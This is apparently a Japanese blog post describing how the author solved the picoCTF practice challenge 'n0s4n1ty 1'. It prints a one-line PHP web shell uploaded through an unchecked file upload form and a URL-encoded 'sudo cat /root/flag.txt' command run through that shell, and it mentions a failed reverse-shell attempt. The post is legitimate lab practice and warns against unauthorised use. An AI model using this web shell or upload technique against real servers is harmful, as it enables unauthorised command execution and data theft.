picoCTFの、picoGymというサイトを紹介してもらった。
CTFのいろいろが学べるサイトらしい。
CTFとは、capture the flagの略で、ペネトレーションテストの技を駆使して、サーバー内に置かれたフラグを何とかして見つけ出す競技だ。
ペネトレーションテストの練習になって良い。
ご注意:
ペネトレーションテスト等、セキュリティ研究やテストを行う際は、常に倫理的な行動をとり、対象システムの所有者から適切な許可を得て行うことが重要です。不正アクセスや攻撃は法律で禁止されており、重大な法的責任が伴います。
なので、あくまでも練習として、練習用のサーバーで行うのは、オッケーだが、ガチで実在のサーバーに対して、無許可で行うのは、捕まるので絶対やめた方がよい。
フォースを使っても、暗黒面に落ちではいけないのだ。
今回は、picoGymの「n0s4n1ty 1」という問題をやってみた。
示されたURLに移動すると、ファイルアップロードが出来るようだ。

対策の甘いサイトだと、ここでコマンドを実行するphpや、リバースシェルを行うphpなどをアップロードできる。ここではコマンドを実行する、以下のようなphpを作ってアップロードした。
<?php echo system($_REQUEST['cmd']); ?>

アップロードすると、親切にも、どこにアップロードしたかを教えてくれる。
この場合は、uploads/shell.phpだ。

通常は、総当たりツールを使用して、格納されたファイルがどこにあるかを調べるのが多いのだけど、今回は楽だ。
ブラウザのURL欄に、以下のように入力すると、コマンドが実行される。
[URL]/uploads/shell.php?cmd=[コマンド]
以下のコマンドを
sudo cat /root/flag.txt
URLエスケープして、
sudo+cat+%2Froot%2Fflag.txt
[URL]/uploads/shell.php?cmd=sudo+cat+%2Froot%2Fflag.txt
とすると。

よしできた!
しかし、今回、リバースシェルを行うphpをアップロードする方式がうまくいかなかった。
ポートが悪いのか、ポートフォーワーディングが悪いのか、IPアドレスが悪いのか、リバースシェルが悪いのか・・・・・ よくわからない。
コメント